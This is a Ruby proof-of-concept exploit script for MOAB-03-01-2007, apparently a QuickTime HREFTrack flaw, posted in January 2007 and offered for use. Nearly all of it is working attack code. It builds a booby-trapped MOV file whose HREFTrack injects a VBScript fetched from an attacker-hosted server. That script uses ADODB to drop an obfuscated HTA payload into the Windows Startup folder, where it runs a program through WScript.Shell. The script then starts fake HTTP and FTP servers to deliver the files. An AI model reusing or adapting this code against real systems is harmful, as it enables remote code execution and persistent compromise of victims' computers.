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MOAB-03-01-2007.rb.txt

Posted on 04 January 2007

#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# Original scripting and POC by Aviv Raff (http://aviv.raffon.net).
#
# Description:
#   Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the
#   fake FTP server (required). HTTP server port can be modified but it's
#   not recommended. Adjust as necessary.
#
# see http://projects.info-pull.com/moab/MOAB-03-01-2007.html

require 'socket'
require 'fileutils'
require 'webrick'

trap 0, proc {
puts "-- Terminating: #{$$}"
}

REMOTE_HOST   = "192.168.1.133" # Modify to match IP address or hostname
REMOTE_URL    = "http://#{REMOTE_HOST}/" # Modify to match target path (ex. /mypath)
TARGET_SCRIPT = "on error resume next
" +
"Set c = CreateObject("ADODB.Connection")
" +
"co = "Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=#{REMOTE_URL};Extensions=txt;"
" +
"c.Open co
" +
"set rs =CreateObject("ADODB.Recordset")
" +
"rs.Open "SELECT * from qtpoc.txt", c
" +
"rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\poc.hta", adPersistXML
" +
"rs.close
" +
"c.close
" +
"window.close
"

HTA_PAYLOAD   = "<script>q='%77%73%63%72%69%70';</script>
" +
"<script>q+='%74%2E%73%68%65%6C%6C';</script>
" +
"<script>a=new ActiveXObject(unescape(q));</script>
" +
"<script>a.run('%windir%\\System32\\calc.exe');</script>
" + # executes calc.exe
"<script>window.close();</script>
"

HREFTRACK_COD = "A<res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript src="#{REMOTE_URL}q.vbs" " +
"language="vbscript"%3E%3C/script%3E%3C%21--//|> T<>"

TARGET_DIRECTORY = "served"

#
# ---- Real fun starts here ----
#

puts "++ Preparing files..."

#
# Prepare the MOV file with the HREFTrack pointing at our script.
#
original_mov = File.read("qtpoc.mov")

# Prepare directory structure
FileUtils::mkdir(TARGET_DIRECTORY)

puts "++ MOV file...."
# Write the new MOV file
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.mov"), "w")
f.write(original_mov)
f.close

puts "++ Script file...."
# Write the script file
f = File.new(File.join(TARGET_DIRECTORY, "q.vbs"), "w")
f.print(TARGET_SCRIPT)
f.close

puts "++ HTA payload file...."
# Write the new HTA file (payload)
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.txt"), "w")
f.print(HTA_PAYLOAD)
f.close

#
# win32 doesn't like fork ;-)
#
if ARGV[0] == "serve"
# HTTP server... via Webrick
puts "++ Done. Starting HTTP server..."
web_server   = WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot =>TARGET_DIRECTORY)
fork do
begin
web_server.start
rescue
exit
end
end

# FTP server....
puts "++ Done. Starting FTP server..."
begin
ftp_server = TCPServer.new('localhost', 21)
rescue
web_server.shutdown
exit
end

# 220 Microsoft FTP Service
# USER anonymous
# 331 Anonymous access allowed, send identity (e-mail name) as password.
# PASS IEUser@
# 230 Anonymous user logged in.
# (...)
while (ftp_session = ftp_server.accept)
puts "++ FTP: #{ftp_session.gets}"
# TODO: implement fake responses just to satisfy it.
ftp_session.close
end

# finished
web_server.shutdown
end

 

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